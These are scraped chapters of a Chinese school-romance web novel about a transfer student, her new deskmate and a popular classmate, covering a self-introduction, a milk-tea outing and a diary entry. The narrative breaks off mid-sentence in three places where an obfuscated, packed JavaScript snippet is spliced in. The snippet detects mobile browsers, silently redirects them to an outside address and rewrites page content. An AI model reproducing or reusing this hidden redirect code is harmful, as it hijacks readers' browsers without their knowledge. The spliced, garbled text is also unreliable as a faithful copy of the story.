两人又短短地聊了一小段时间,中途有个男生朝她俩的位置走来,娴熟地叫了一声唐思雨的名字,将两个包子放在唐思雨的桌子上,见她俩聊着天就没再说其他话,转身离开。 于听眠看着男生觉得眼熟,好像在哪里见过,但一时之间又想不起来。 直到他坐到了第四大组第三排右边的位置上,于听眠才猛然记起他是昨天和谢惊洛一同离开的那个男生。 不过这都不是重点,重点是她看见唐思雨面不改色习以为常地将包子收下,多年看“文学作品”的经验告诉她,这里面绝对有猫腻。 她有点好奇,但两人才刚认识就问那么私人的问题又实在太过冒昧,于是她只能将那点蠢蠢欲动的好奇心按回去,眼观鼻鼻观心假装自己什么都看不见。 倒是唐思雨动作麻利地打开了装着包子的塑料袋,提着塑料袋伸到了于听眠面前,兴致勃勃向她推荐:“要不要尝一个?这是在我家附近一家卖得特别好的包子店买的,超级好吃的!” 于听眠刚想说不用,毕竟是吃过早餐才来的,现在并不饿,但看到对方满脸期待的神情,又不好意思拂了对方的好意,到嘴的话拐了个弯:“那……谢谢你。” 她拿起其中一个包子小心翼翼的咬了一口,发现是鲜肉馅的,肉质鲜美,皮薄馅大,一口咬下去鲜甜的汁水在嘴里炸开,回味无穷。 果然是好吃的。 “多少钱?我等会儿给你?” “不用不用,我主动给你的,怎么能要你的钱。”唐思雨连忙摆手拒绝。 听人这么说,于听眠也不勉强:“那行。” 唐思雨想起了什么:“对了,你有□□号吗?” 于听眠点头:“有的。” 唐思雨:“那好,加一下□□好友?” 于听眠:“好呀,我加你还是你加我?” “你写下来,我回去加你吧。”唐思雨随手拿了桌上的一个笔记本撕下一页纸递过去,待于听眠下写一串数字后将纸业折好放进了书包里。 两人边吃边聊,很快就到了上课时间,黑板顶头一排过去写着这个学期的课表,于听眠抬头看了一眼,第一节课是语文课。 看完课表后,她的目光又落在了某个位置上。 依旧是空无一人。 “怎么了?”见人忽然沉默,唐思雨出声问道。 “没事,不小心发了个呆。”于听眠不动声色地收回了视线,好在唐思雨也没有察觉异样,只当她是走了个神。 于听眠悄无声息地将这个话题翻页,低下头,提前从桌肚里抽出语文书放在桌面上。 唐思雨见状,想起了什么:“对了,等一下语文课老师可能会让你上去自我介绍。” “……?!” 哈?! 什么东西?! 你说等会儿要我上去干什么?! 怎么会有那么歹毒的环节?! 她霎时睁大了眼睛。 许是于听眠的表情太过震惊,哪怕她没有开口说话,唐思雨也在她的脸上读懂了所有情绪。 “呃……也不一定,毕竟秋姐昨天已经让我们都轮流自我介绍了一遍,万一她今天没注意到多了个人呢?你说是吧?” 秋姐,全名杨秋心,现任云城一中高二理一班和理二班的语文科任老师,听说为人温柔和善,经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059403|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常和同学们打成一片,但于听眠此时只期盼着不要那么快见到对方。 她两眼一闭脑袋磕在桌子上,走得很安详:“……希望如此。” 然而,她所愿的一般都是得不到的,老天只会和她唱反调。 当预备铃响起,杨秋心踩着小高跟姿态从容优雅地走上讲台,扫视了全班一圈最后视线落在自己身上时,于听眠就知道要完。 “呀,这同学看着面生,看来是新同学?”杨秋心的话音刚落,班上大部分人的视线都集中到了于听眠的身上。 那些目光落在自己身上的那一霎,于听眠觉得自己像被无数根钉子钉在了座位上,动弹不得,半晌才僵硬地点了点头。 “那来,上来自我介绍一下,让老师认认人。” 该来的还是会来,于听眠想逃避也没用,终究是在唐思雨担忧的目光下硬着头皮站上了讲台,看着下面那一群人喉咙干涉地开口:“……大家好,我叫于听眠,于是的于,听见的听,沉眠的眠。” 然后她就卡壳了。 说完名字了,然后呢?可以下去了吗?还是要再说点什么?好像其他的也没什么好说的吧?所以可以下去了吗? “于听眠?很好听的名字,是有什么寓意在其中吗?”见人沉默,杨秋心适时接话。 于听眠轻轻摇头:“没有什么特别的寓意,这个名字是我奶奶取的,取自一句诗。” “是什么诗呢?” “春水碧于天,画船听雨眠。” 于听眠出生时恰逢春三月,江水碧绿胜于天,而后姗姗来迟的春雨淅淅沥沥下了好几日,奶奶见景抒情念了这么一句诗,后来便得了于听眠这么个名字。 一个没什么太大的寓意,但也算得上是诗情画意的名字。 全场默然片刻后,唐思雨率先带头鼓掌,掌声从班级的各个角落传来,甚至……门口也有一道。 于听眠:“?” 显然杨秋心也有同样的疑惑,两人一齐朝前门处看去。 谢惊洛不知何时出现在了门口处,身形有些懒散地倚着门框,双手保持着鼓掌的姿势还未从身前放下。 于听眠注意到他手上还拿着几张纸,但空白的一面对着自己,看不清纸上写着什么内容。 “回来了怎么不进来?站在门口做什么?” 谢惊洛笑意盎然:“人家在做自我介绍,我直接进去打断多不礼貌。” 于听眠被他的笑容晃了神,目光多在他身上驻足了一会儿,谢惊洛察觉到她的视线朝她看来,两人在视线对上的前一刻,于听眠微微垂眸,目光下移,顺理成章地落在了谢惊洛手中的纸页上。 仿佛只是对他手中的纸页感兴趣。 应该……没看到吧? 于听眠有些心虚地想。 上课铃声正式响起,杨秋心也不再留着于听眠,让两人都回自己的位置上坐好,开始上课。 于听眠虚脱般坐回位置上,深吸一口气,觉得这一趟下来要了自己半条老命。 但没想到更要命的还在后头。 “好啦好啦,已经开学第二天了,都收收心,明天就是开学考了,虽然不是什么正式的考试但也要排名的,都要认真一些对待啊。” 于听眠:“……啊?” 怎么还有开学考这种东西? 唐思雨向她解释道:“这是云城一中的传统了,每个学期开学时都要来一次开学考,说是检验一下我们假期的学习成果。” 于听眠:“……” 大可不必,真的。 6. 二人行变四人行 “我们今天先不讲新课,来评讲一下上学期的期末试卷,大家把试卷拿出来,都还在吧,别考完就丢了啊,来,课代表把作文范文发下去,课后多看看人家是怎么写文章的。”杨秋心将讲台上的一沓纸递给第一排的一个身形娇小的女生,女生接过后按组分好张数让第一排的人往下传。 于听眠自然是没有云城一中上学期的期末试卷的,所以和唐思雨一起看一张。 范文很快就传到了她们这桌,于听眠伸手接过前桌递来的纸张,给唐思雨拿了一张,然后自己也抽出一张边看边将剩余的纸往后传。 纸上的字迹苍劲有力,是属于一眼看过去就会心生愉悦的类型,于听眠看着这些字体觉得赏心悦目,将纸张翻了个面想看看有没有作者的名字。 然后她就看见了谢惊洛的名字。 哎? 是谢惊洛的文章? 她有些意外地朝唐思雨看去,却发现她的同桌是一副面不改色,习以为常般的模样。 “怎么了?”注意到她的目光,唐思雨压低了声音问道。 于听眠也小小声:“没什么,有点意外这篇范文是谢惊洛的。” 唐思雨挑眉:“哇噢,连你也知道谢惊洛了。” 于听眠:“……” 重点是这个吗? 她也面不改色地胡扯:“昨天在表彰栏上看到的,他排第一。” 唐思雨了然般点头:“那就合理了,正常的,我从高一就看他的范文看到现在,已经习惯了,要是发下来的范文不是他的我还会惊讶一下。” 于听眠:“这么厉害?” 唐思雨:“这么厉害。” 于听眠:“那我高低得好好研究一下。” 唐思雨:“快看。” 于听眠从标题开始一字一句认真看了起来。 文章开篇结合题目引据论点,正文条理分明,内容充实,论点明确,论据新颖抓人眼球,结尾总结深刻引人深思,不愧是能拿来当范文全级传阅的。 看过一遍后,她将纸张仔细折好塞进抽屉里,开始看试卷上的题目并在内心估摸了一下这张试卷的难度,待心里有个底后开始对症下药听杨秋心解析。 这一天过得还算平平无奇,不知不觉就到了放学时间。 于听眠整理着书包,她带了一些学习资料回去打算今晚临时抱一下佛脚,好明天考试的时候不那么的手忙脚乱。 唐思雨也没走,坐在旁边撑着脑袋看她收拾。 “怎么了?”于听眠被她看得有些不自在。 “你喜欢喝奶茶吗?”唐思雨问。 “奶茶?” 这时候的奶茶种类还没被玩出花来,还是很经典的珍珠奶茶,椰果奶茶,西米奶茶一类,于听眠喝过几次,她还挺喜欢这种甜滋滋,又带着点茶香的味道。 “挺喜欢的。”于听眠说。 唐思雨开始推荐:“学校附近开了一家新奶茶店,要不要一起去试一下?味道挺不错的。” “现在吗?” 唐思雨点头。 于听眠抬头看了一眼黑板上头挂着的时钟,时间还早。 “那好呀。” “好耶——我们走——”唐思雨“蹭”地一下站起身,拉着于听眠的手就往后门走。 但走到一半她又忽然掉了个头,带着于听眠向第四组的方向走去。 于听眠一脸懵地被她带着,等回过神时,人已经站在了第四组第三排的走道旁。 谢惊洛低头看着一张卷子,手中不紧不慢地转动着一支笔,时不时在草稿纸上列出一两道算式,并没有抬头关注这边的动静。 但饶是如此,于听眠还是不禁稍稍站直了身子,站姿变得端正了些。 倒是位置上靠走道的人察觉动静,目光看向了她们。 唐思雨一掌拍在人家肩头,语气娴熟:“秦长宇,等一下你自己回去,我今天有事先走一步,不等你了。” 秦长宇被她一掌拍得龇牙咧嘴,抖了抖肩把她的手抖下去,随后问道:“你要干嘛去?” “学校附近不是开了一家新奶茶店嘛,我和眠眠去尝尝。”唐思雨让了让身,露出了窝在自己身后的于听眠。 “去喝奶茶?”秦长宇挑眉,来了兴趣,“等会儿,我和谢惊洛也去,一起呗。” 啊? 闻言,于听眠身体一顿,朝谢惊洛的方向看了一眼后又迅速收回视线,交握在身前的手下意识地绞了绞。 谢惊洛……也去吗? 写着题无辜被点名的谢惊洛终于抬眸,轻飘飘地撇了秦长宇一眼。 “人家谢惊洛说要去了吗你就把人家拖下水。”唐思雨双手抱胸,毫不留情地怼着他。 秦长宇倒是不在意,他手一伸就把手臂搭谢惊洛肩上:“他哪能不去啊?他不去谁买单?” “呵。”谢惊洛嗤笑一声,拎起搭在自己肩上的爪子丢开,“看来那双新版球鞋你也不是很想要。” “我错了哥。”秦长宇能屈能伸,认怂认得很快。 谢惊洛轻哼一声没再说什么,只是抬手将笔帽盖好,扯了本书将桌上没写完的卷子压上。 看意思很明确了。 唐思雨瞬间看懂:“看来今天是洛哥请?好耶!眠眠等会儿我俩点最贵的!” 于听眠:“……哎?” 所以到底是怎么变成四人行的呢? 直到走出教学楼,于听眠还是很疑惑。 教学楼离校门口有些路程,唐思雨挽着于听眠走在前面,两个男生则隔着点距离走在后面边走边聊天,他们没有刻意放低声音,于听眠隐约听到他们在聊某道数学题。 好可怕的聊天内容。 “洛哥——宇哥——去哪儿啊?要不要一起去打球——”身后的方向传来呼喊声。 于听眠被声音吸引,回头看了一眼。 不远处一群男生招呼着身后两人,最前方的人手中还拿着一个篮球。 秦长宇回头应声:“不了,我和你洛哥今天有事儿先走了,你们玩——” 那男生不太甘心:“真不打?咱们好几天没打了。” 谢惊洛扯了扯肩上的包带,嘴角勾起一抹漫不经心的笑:“下次吧,下次打完我请客带你们去吃饭。” 男生这下甘心了,一整个两眼放光:“好嘞洛哥您大气——” 男生身旁的人也跟着凑热闹,大声嚷嚷:“我呢我呢?洛哥我也要!” 谢惊洛抬手向他们挥了挥,笑着赶人:“少不了你的,都有份,去玩吧。” “再见洛哥宇哥您俩慢走,下次再一起打球——” 于听眠将脑袋转回来,神情若有所思。 “怎么了?看你好像在发呆。”唐思雨看着于听眠呆呆的模样,忍不住伸出手指戳了戳她脸上的软肉。 “呃……”于听眠被脸颊上忽如其来的触感惊了一下,但没有躲开,任由唐思雨戳弄。 她回想起昨天下午在表彰栏前听到的讨论,悄悄压低了声音:“谢惊洛好像……很受欢迎?” “昂,是啊。”唐思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059404|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨面色坦然,似乎对这件事习以为常,但话题的当事人就在身后不远,当着人家的面大声密谋好像又不太好,于是她也学着于听眠压低声音开始八卦:“秦长宇他家住我家对门,我俩从小玩到大,初中的时候,忘了是初一还是初二开始的,他就和谢惊洛在一个班,两人玩得挺好,那时候我在其他班,然后我没事就会去找他,一来二去我也认识了谢惊洛。” 于听眠:“然后呢?” 唐思雨:“然后初中的时候嘛,大伙儿正巧情窦初开,谢惊洛他长得高长得好看就不说了,成绩好,性格也好,人有教养有礼貌,总之就是这幅样子迷惑了一大堆女生,我每次去找秦长宇的时候,不能说每次吧,但大部分时候都能看见有人在他们班门口蹲他,记得有一次我去时刚好看见有个女生给他送巧克力,他不收,人家女生就直接把巧克力给塞他手上转身就跑,刚好我就在她后边,她跑得太急没看路还把我撞墙上去了,给我看呆了。” 虽然很不应该,但于听眠一想到唐思雨描述的那个场景就觉得好笑,实际上她也笑了出来:“噗——” 唐思雨轻轻掐了一把她腰上的痒痒肉:“你还笑——” “错了错了。”于听眠怕痒,连忙讨饶,“那后来呢?那盒巧克力是吃掉了还是……” “没吃,要是吃了那不就默认接受人家的心意了嘛。”唐思雨耸了耸肩,“后来听秦长宇说他把巧克力给人家还回去了,怎么还的我也不是很清楚,反正从那之后我去找秦长宇要是看见又有女生找他我都绕道走了,那一下给我疼的,我到现在还记得。” 两人聊聊笑笑,很快就到达了目的地,店面比于听眠想象的要大一些,墨绿色的招牌上刻画着“风铃苑”三个大字,店内装修偏向清新文艺风,门口挂着一串淡蓝色的风铃,风一吹过它就发出轻灵的叮铃声,于风中摇曳生姿。 在门外视线受影响,等踏进门内,于听眠才发现,店里的一面墙上有一大片的区域贴满了五颜六色的便利贴,上面还写满了字,角落里放着一个书架,上面摆满了各种书籍,供在店里落座的人解闷。 唐思雨也看见了那些便利贴:“那是什么?我们过去看看?” 看来不是只有她一个人对这面墙感兴趣。 恰巧这面墙的正前方就有一张四人位的小圆桌,两个女生去座位上放下东西,秦长宇则拉着今天的金主大人去点单。 秦长宇扫了一眼菜单:“我要一杯纯奶茶,你呢?” 谢惊洛言简意赅:“柠七。” 秦长宇转头问两个女生:“美女们,你们要喝什么?” 唐思雨转头问于听眠:“你喝什么?” 于听眠想了想,选了最经典的款式:“我就要珍珠奶茶吧。” “OK。”唐思雨点头表示了解,“我要西米奶茶,眠眠要珍珠奶茶,我的那杯帮我多加点冰块。” “抱歉,珍珠现在没有了,正在现熬,可能需要等一会儿,大概十分钟左右。” 店员姐姐的声音不小,坐在位置上的于听眠也能听得很清楚,她连忙回道:“没关系,可以等一会儿。” 另外三杯材料充足,不需要等待可以现做,两个男生干脆在前台处等待,没多久就带着三杯饮品走了过来。 “来吧大小姐,你的西米奶茶来了。”秦长宇将手中的奶茶递给唐思雨,顺手拉开她身旁的椅子坐下。 于听眠看着面前的座位布局:“……!” 等等,这样一来…… 谢惊洛坐自己身边?! 啊? 7. 比耶小人 于听眠刚意识到问题所在,耳边就响起椅子被拉开时发出的咯吱声,她没敢抬头看人,却也能感受到他落座时身上的阴影有一瞬间将自己笼罩。 她顿感不自在,呼吸在不经意间乱了节奏,好在她摊着张脸面无表情,没人察觉出她的异常。 人家就是长得好看了一点,但也是两个眼睛一张嘴的,你到底在紧张什么? 于听眠暗自唾弃自己没出息。 唐思雨不知晓自己同桌内心的弯弯绕绕,她现在正被门口对面的炸鸡店吸引走了注意力。 在吃的方面唐思雨向来不会委屈自己,既然来了兴趣,她当机立断就起身准备过去买来尝尝。 当然,她也没有忘了招呼另外三人:“我想去对面买炸鸡腿,你们有谁想吃的吗?” 炸鸡腿?金黄酥脆的外壳咬开会爆汁的那种? 于听眠想吃,但她清楚自己的食量,属于人菜瘾大的那种,又刚好临近饭点,现在喝完一大杯奶茶再吃一个鸡腿她今晚就差不多不用吃饭了。 她内心挣扎了一会儿,最后选择忍痛割爱:“我就不吃了。” “行,眠眠不吃。”唐思雨又问:“那洛哥你呢?” 谢惊洛也笑着拒绝:“我也不用了。” 唐思雨双手叉腰,好看的眉头皱起:“都不吃啊?就我一个人吃?” 疑似被忽略了的秦长宇举手:“谁说都不吃,他们不吃我吃啊,帮我也买一个,加重辣谢谢。” 别人都好说,但唐思雨唯独不会和他客气,她伸手将人从位置上拎了起来:“你拿我当跑腿呢?要吃一起去买。” “哎我说你这人真的是,我还天天帮你带早餐,你帮我买一次怎么了?” “那下次阿姨要没收你漫画时你别往我这儿藏了。” “那不行,吵归吵闹归闹,这事儿开不得玩笑。” “呵呵。” 于听眠笑看着两人打打闹闹走出店门,觉得这俩人的相处方式莫名有意思。 …… 不对慢着。 于听眠乐完了,终于是后知后觉——他俩一起去买炸鸡腿了,那现在就剩自己和谢惊洛了?! 唐思雨和秦长宇在的时候两人吵吵闹闹气氛很是活跃,哪怕于听眠不怎么说话混在其中也不会觉得尴尬,这会儿两人一同离去,于听眠就明显察觉到气氛冷了下来。 谢惊洛看上去面色如常并不在意,但她却觉得坐立难安。 怎么办?要这样一直安静下去吗?还是要说点什么?但是能说什么啊? 于听眠总觉得这一幕似曾相识,好像被他送回家的那次,在车上的那一小段时间里,他俩也是这么静默无言。 于听眠自觉自己虽不喜社交,但单独面对不熟悉的人出于礼貌也能就地寻找话题聊笑两句。 却唯独在他面前总会哑言。 唉。 于听眠暗自叹息,觉得这么下去也不是办法,要不要找点事情干假装自己在忙?比如掏张卷子出来写写? 但她很快就把这个想法划掉。 一声不吭忽然掏张卷子出来写什么的,总感觉太刻意了点。 那还能做什么呢? 于听眠的眼睛滴溜溜地转,最后转到了那面贴满了便利贴的墙上,看见其中一张黄色的便利贴上写着这么一句话: 祝高考顺利。 于听眠顿时想起他们坐到这个位置来的目的,看着那满墙的便利贴,她像是看到了无数救星。 她开始假意研究那些各不相同的字迹。 “希望明年高考能考上我理想中的大学。” 这应该是某个高三学长或者学姐的心愿。 “要和xxx永远在一起——” 句子后面还画了个小小的爱心,看来是某个热恋中的朋友写下的。 “求求了——抢到专辑的人那么多就不能再多我一个吗?!每次都抢不到我要黑化了——” 看样子是个追星族,而且似乎经常抢不到喜欢的专辑。 “退一万步来讲,试卷它就不能自己得出答案吗?就一定要我亲自写吗?” 别说,我也想,这句话再赞同不过了。 虽然一开始是抱着给自己找点事干的想法去看那些便利贴,但看着看着竟也是入了神。 不同的字迹,不同的话语,像是不同人的剪影,于听眠透过这些薄薄的纸张短短的话语,去想象它们的主人写下这些句子时的心情,或喜或怒或忧伤,他们的情感凝聚成各种文字落在纸上,缥缈又真实。 于听眠看得太过入迷,以至于她忘了自己是不是还有什么事没干。 直到奶茶被放在桌面上发出了轻微的响动,于听眠才恍然想起自己还有一杯奶茶没拿。 谢惊洛将奶茶放至于听眠跟前,见人看着自己,便随口解释了一句,声音一如既往的温和清润:“刚才店员叫号,你好像在想别的事没听见。” 说完,他重新拉开椅子坐回原位,于听眠这才注意到他面前还放着一本刚翻开没几页的书籍,书页的边缘有些泛黄,纸张也有些皱旧,看来是从角落的书架上取的。 真是看入神了,不仅不知道谢惊洛是什么时候离开座位去取书的,也没听见自己的奶茶好了店员姐姐的叫号声,甚至人家谢惊洛都听见了,想来是看自己太过入迷不为所动才去帮自己拿来。 于听眠耳根微微发热觉得有些丢脸,她连忙道谢:“谢谢!不好意思……刚才太入神了,没有听到叫号。” 谢惊洛并不觉得有什么,他轻笑道:“不用谢,举手之劳。” 于听眠觉得耳根似乎更热了,她假装镇定地拿过桌上的奶茶插上吸管,吸了一大口冰凉凉的奶茶给自己降温。 她一边嚼着珍珠一边把锅甩给奶茶店——肯定是这店里面太热了,不然无法解释为什么她的耳根一直发烫。 “对了,还有这个。”谢惊洛将同奶茶一起拿回来的便利贴和笔放在桌面上,往于听眠那边推了推:“店员姐姐给的,说是可以写一些想写的东西贴在墙上,要写吗?” “哦?哦!好的谢谢。”于听眠连忙接过便利贴和笔。 其实她没什么想写的,只是谢惊洛递过来她就下意识接了。不过这样也好,正好给自己找点事做不至于那么不自在。 于听眠提笔思考了一会儿,最后遵循脑海里出现的第一个想法,在这小小的便利贴上正正方方写下四个大字。 平安喜乐。 她放下笔,将自己那张便利贴撕下来,抬眼间恰好看见谢惊洛将手中的书翻过一页。 “那个……你要不要也写一张?”鬼使神差的,她脱口而出。 谢惊洛看过来,她又连忙找补:“来都来了。” 像是被这句“来都来了”逗乐,谢惊洛眼梢一弯,合上手中的书随手搁在桌面上,接过了她一点点挪过来的便利贴和笔。 便签墙离他们很近,抬手就能够到,于听眠在上面找了个空位将自己的便利贴贴上去。看似专注,眼角余光却在偷偷观察谢惊洛会写什么。 谢惊洛什么都没写,他只在上面画了个眨眼的简笔小人,可能觉得小人只有表情有些单调,接着便又在旁边画了一只“比耶”的小手。 他将那个俏皮的比耶小人撕下来,贴在了离于听眠的便利贴隔了两张的空位上。 奶茶被喝掉了小半杯后,唐思雨和秦长宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059405|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于提着他们那滋滋冒油的炸鸡腿回来,四人在门口分道扬镳各回各家,只不过另外三人回去的方向大致相同,而于听眠则要往反方向走。 到家吃过一顿简单的晚餐后于听眠照旧提着书包进了卧室,她将书包放下拿起了放在书桌上充电的手机,按开□□图标,发现除了唐思雨的好友申请外还有好两条未读短信。 她先是通过了唐思雨的好友申请,然后打开了苏然发的信息。 [苏苏:回来没回来没回来没?] [苏苏:快回我快回我快回我——] 信息是十几分钟前发的。 [小鲤鱼:回来了,刚才在吃饭,现在才看手机。] 苏然秒回。 [苏苏:你终于回来了,快来,我给你推荐本书。] 书? 于听眠慢悠悠地在键盘上按字。 [小鲤鱼:什么书?] [苏苏:你不是喜欢画画吗,我今天去书店买书的时候看到一本看着不错的绘画教程书,想你应该会感兴趣就给你推荐一下。] 绘画教程书? 她确实感兴趣。 [小鲤鱼:哦吼?] [小鲤鱼:具体书名发我呗,我看看我这边的书店有没有。] [苏苏:话说你真的不打算换一个触屏手机吗?打字慢慢的。] 于听眠刚发出去一段话苏然紧跟着又发来了一段信息。 换手机?这她还真没想过。 [小鲤鱼:暂时没什么想法,这台还能用,等坏了再说。] [苏苏:好吧~] [小鲤鱼:那你等会儿把书名发我吧,我先去复习了,明天要开学考。] [苏苏:?] [苏苏:开学考?] [小鲤鱼:是的。] [苏苏:什么鬼?怎么会有那么歹毒的东西?] [小鲤鱼:是吧,我就说这种歹毒的行为就该被制裁。] [苏苏:就是就是!] [苏苏:你真惨,刚去那边就要考试。] [苏苏:那我先不打扰你复习了,你加油。] [小鲤鱼:okk~] 放下手机后于听眠将要用的学习资料从书包里掏出来放在桌面上,然后从抽屉的深处掏出粉色封面的日记本,照常写了篇短短的日记。 2013年9月2日 天气:晴 果然还是好讨厌早起,真的起不来一点,尤其是看小熊躺得那么舒服更不爽了,所以我上学之前把它也拽了起来,如果它会思考那它大概会觉得我有病。 所以为什么我不能变成玩偶熊呢?变成玩偶熊就不用早起了,也不用上学了,也不用上台自我介绍了,更不用准备明天的开学考,啊啊啊啊啊啊为什么会有开学考这么可恶的东西! 真是难过! …… 好吧,好像也没有那么难过,奶茶还是很好喝的,炸鸡也很香,可惜这没吃到,算了下次再吃。 嗯……谢惊洛画的比耶小人也挺可爱的,没想到他会画这个贴上去,有点意外,而且感觉有点……萌? 唯一有点小尴尬的是我居然没听到奶茶叫号让谢惊洛帮我去拿了! 哎哟好丢脸呀!别问我为什么觉得丢脸,反正就是丢脸。 在他面前就不能出现一些稍微优雅得体一点的形象吗?每次遇到他,不是下雨回不去,就是爬了五楼汗流浃背头发凌乱,要不然就是在台上那乱七八糟的自我介绍,还有让人家帮忙拿奶茶…… 算了,累了,世界赶紧毁灭吧。 …… 哎呀烦人! 不写了,学习! 8. 要考试了 因为不是什么正规的考试,所以云城一中在考试当天才将考试座位表贴出来。 第二天于听眠特意提前来到教室,果真在教室前门的公式栏里看到了一张表格。 按照唐思雨的说法,云城一中考试的座位排序是按照上一次的考试成绩从高到低排序,而自己没有在云城一中考过试,所以大概率会被安排在最后一个考场。 于听眠的目光在表格上快速浏览了一遍,在偏下的位置找到了自己的名字,不出所料,果然是在最后一个考场,看座位号应该还是最后一个座位。 嗯…… 按理来说知道了自己的座位在哪里后她就该离开了,但出于某种不为人知的私心,她又从表格第一排开始重新看了一遍。 谢惊洛…… 谢…… x…… 哎?! 于听眠第一次看的时候没注意表格是按照姓氏首写字母前后排序的,再看一遍她惊讶地发现谢惊洛的名字就排在她前一个。 虽然说在这种排序方式下名字靠在一起很正常,毕竟一个x一个y,但于听眠还是莫名地生出了一股心虚感,以及……还有一点小小的惊喜感。 她抿了抿唇,不动声色地往左右两边看了两眼,发现走廊上为数不多的几个同学都在做自己的事没人注意她这边后才放心地看了下去。 谢惊洛,第一考场,第一座位。 真是不出意外。 虽然早知道了结果,但在真正看到的那一刻于听眠还是不禁感慨一句了好厉害。 带着看都看了那就多看两个的想法,于听眠视线上移,在表格上找起了唐思雨和秦长宇的名字。 哇噢!好家伙,这两个也都在第一考场。 于听眠挑了挑眉。 同桌和同桌的发小也好厉害。 于听眠刚进教室坐下没多久唐思雨也踏进了教室,她打着哈欠进门,见于听眠已经在座位上坐着写题了便开口问了声早:“早啊眠眠,今天怎么来那么早?” 于听眠:“早点过来看看考试座位表,顺便再看看书。” “这样啊。”唐思雨了然,“那有没有信心?” “完全没有。”于听眠回答的毫不犹豫。 唐思雨:“……” 于听眠倒也没有胡说八道,她确实没什么信心,她昨晚研究了几张从唐思雨那儿借来的云城一中前几次的考试试卷,发现那些题目能做是能做,但题中的弯绕很多,考的知识点也更深一些,一不小心就会掉进出题人的陷阱里,她的思维方式一时半会难以转变,所以做题做得很慢,就拿数学来说,至少目前在规定的时间内她无法做完一张完整的数学试卷。 “没事,不用紧张,就摸底考而已。”唐思雨担心于听眠会紧张,便拍了拍她的肩安慰她:“刚刚开学大家都不在状态,就算考得不好老梁也不会说什么的。” 老梁全名梁兆兴,是高二理一班的班主任兼数学老师,于听眠对这个班主任的印象还算深刻,记得他为人幽默亲和,鼻梁上雷打不动挂着一副银框眼镜,或许是因为常年教数学,他头顶上的地中海已初具雏形,为此他很是苦恼。 “没关系,我心里大概有数,不一定会考的很好,但应该也不会非常非常差。”于听眠比了个OK的手势让对方放心。 唐思雨点头:“那就好。” 现在时候还早,离考试开始还有一段时间,唐思雨坐下来和于听眠一起写了会儿题,期间她频频看向前门的行为引起了于听眠的注意。 在唐思雨第七次往前门看时她终于忍不住开口问道:“思雨,你在看什么?” 唐思雨:“我在看我的早餐什么时候来。” “……?” 于听眠缓缓打出一个问号。 “唉……”唐思雨把笔一扔整个人瘫在桌面上,开始和于听眠吐槽起某人:“还不是因为秦长宇。” 于听眠:“他怎么了?” 要聊天的话唐思雨就来劲了:“是这样的,秦长宇不是住我对门嘛,我和他之前一直都是一起上学的,但是上了高中之后,可能是学习压力变大了,睡眠时间少了,现在他早上经常起不来,很容易出现我已经收拾好准备出门了,但他还在床上没起来的情况。” 于听眠眨巴眨巴眼睛:“然后呢?” 唐思雨:“后来他强迫了自己几次后发现还是起不来,就让我先走,他自己就踩点到教室,然后谢惊洛住的地方和我们一个方向嘛,离得也不远,刚好谢惊洛也是个起不来喜欢踩点的,他俩又玩得好,所以两个人一拍即合开始狼狈为奸,最后就发展成了他们两一起走,秦长宇踩点踩得更心安理得了。” 说着说着唐思雨就停下来清咳了两声,见状,于听眠将对方桌面上装满水的水杯推了过去。 唐思雨道了声谢接过水杯喝口水润润喉接着讲:“接下来就是我家附近有一家很好吃的包子店,就是昨天我给你吃的那家,但是它开门的时间有点晚,所以我起得早的话反而买不到,秦长宇就说他起得晚去的时候包子店也开门了,然后他顺便帮我买,我自然不会和他客气,所以买早餐的事就交给他了。” 于听眠点头:“原来如此,希望你能在考试前吃上你的早餐。” “我也希望,祝福我吧,实在不行就考完第一科再吃了。”唐思雨生无可恋地摊回了桌子上,于听眠仿佛看到一缕缕黑色的怨气从她头顶上飘了出来。 于听眠越来越觉得这两个人的相处方式有意思,而且没想到谢惊洛看上去像个无比自律的好学生,私底下还有这样的一面。 她越想越觉得好玩,忍不住哼笑了一声,又在唐思雨看过来的前一秒若无其事地收敛了笑意。 唐思雨:“?” 总感觉有听到谁在笑,难道我也睡眠不够幻听了? 离考试开始还有半个小时,大家开始收拾东西准备前往各自的考场。 云城一中要求考试期间要清空座位上的书籍,但开学考只是个摸底考试,管得不严,所以大部分人都只把桌面上的东西收拾掉再把桌子掉个头就算了,能少搬一次是一次。 于听眠刚把摊了一桌子的课本试卷一股脑地塞进桌肚,就看见梁兆兴背着手从前门踏进了教室。 教室里本就有些躁动的氛围瞬间变得更为活跃。 “老梁早啊,吃了没?今天也来那么早?” 有人和他娴熟地打招呼。 